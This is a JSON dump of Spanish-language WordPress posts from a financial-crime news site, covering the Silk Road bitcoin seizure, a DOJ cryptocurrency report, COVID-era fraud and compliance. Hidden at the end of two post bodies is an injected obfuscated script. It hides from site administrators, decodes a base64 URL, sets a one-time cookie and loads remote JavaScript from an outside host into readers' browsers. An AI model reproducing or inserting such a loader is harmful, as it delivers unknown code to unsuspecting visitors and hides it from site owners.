\u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del 